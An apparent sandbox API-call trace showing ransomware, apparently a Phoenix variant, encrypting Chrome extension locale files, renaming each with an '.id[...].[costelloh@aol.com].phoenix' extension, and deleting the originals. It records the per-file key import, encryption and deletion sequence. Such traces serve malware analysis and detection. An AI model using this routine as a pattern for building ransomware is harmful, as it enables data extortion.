	[0264.416] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x45d0, lpOverlapped=0x0) returned 1
	[0264.418] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0264.418] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.418] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.418] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.418] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.418] CryptDestroyKey (hKey=0x151140) returned 1
	[0264.418] CloseHandle (hObject=0x2b0) returned 1
	[0264.418] CloseHandle (hObject=0x254) returned 1
	[0264.418] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json")) returned 1
	[0264.419] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.420] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21195) returned 1
	[0264.421] CloseHandle (hObject=0x254) returned 1
	[0264.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json")) returned 0x20
	[0264.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.421] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.421] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.421] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.421] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.422] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0264.422] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.422] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x52cb, lpOverlapped=0x0) returned 1
	[0264.447] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x52d0) returned 1
	[0264.447] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x52d0, lpOverlapped=0x0) returned 1
	[0264.448] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0264.448] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.448] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.448] CryptDestroyKey (hKey=0x151040) returned 1
	[0264.448] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.449] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.449] CloseHandle (hObject=0x254) returned 1
	[0264.449] CloseHandle (hObject=0x2b0) returned 1
	[0264.449] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bn\\messages.json")) returned 1
	[0264.450] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.451] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16425) returned 1
	[0264.451] CloseHandle (hObject=0x2b0) returned 1
	[0264.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json")) returned 0x20
	[0264.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.451] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.451] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.452] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0264.452] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.452] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4029, lpOverlapped=0x0) returned 1
	[0264.505] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4030, dwBufLen=0x4030 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4030) returned 1
	[0264.505] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4030, lpOverlapped=0x0) returned 1
	[0264.506] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0264.506] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.506] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.506] CryptDestroyKey (hKey=0x151140) returned 1
	[0264.506] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.507] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.507] CloseHandle (hObject=0x2b0) returned 1
	[0264.507] CloseHandle (hObject=0x254) returned 1
	[0264.507] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\cs\\messages.json")) returned 1
	[0264.508] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.509] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16505) returned 1
	[0264.509] CloseHandle (hObject=0x254) returned 1
	[0264.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json")) returned 0x20
	[0264.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.509] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.510] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.510] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.510] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0264.510] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.510] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4079, lpOverlapped=0x0) returned 1
	[0264.528] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4080, dwBufLen=0x4080 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4080) returned 1
	[0264.528] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4080, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4080, lpOverlapped=0x0) returned 1
	[0264.530] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0264.530] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.530] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.530] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.530] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.530] CryptDestroyKey (hKey=0x151180) returned 1
	[0264.530] CloseHandle (hObject=0x254) returned 1
	[0264.530] CloseHandle (hObject=0x2b0) returned 1
	[0264.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\de\\messages.json")) returned 1
	[0264.532] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.532] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15738) returned 1
	[0264.533] CloseHandle (hObject=0x2b0) returned 1
	[0264.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json")) returned 0x20
	[0264.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.533] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.533] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0264.535] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.535] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3d7a, lpOverlapped=0x0) returned 1
	[0264.542] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d80) returned 1
	[0264.542] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3d80, lpOverlapped=0x0) returned 1
	[0264.564] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0264.564] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.564] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.564] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0264.564] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.564] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.564] CloseHandle (hObject=0x2b0) returned 1
	[0264.564] CloseHandle (hObject=0x254) returned 1
	[0264.564] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\en\\messages.json")) returned 1
	[0264.565] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.566] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16459) returned 1
	[0264.566] CloseHandle (hObject=0x254) returned 1
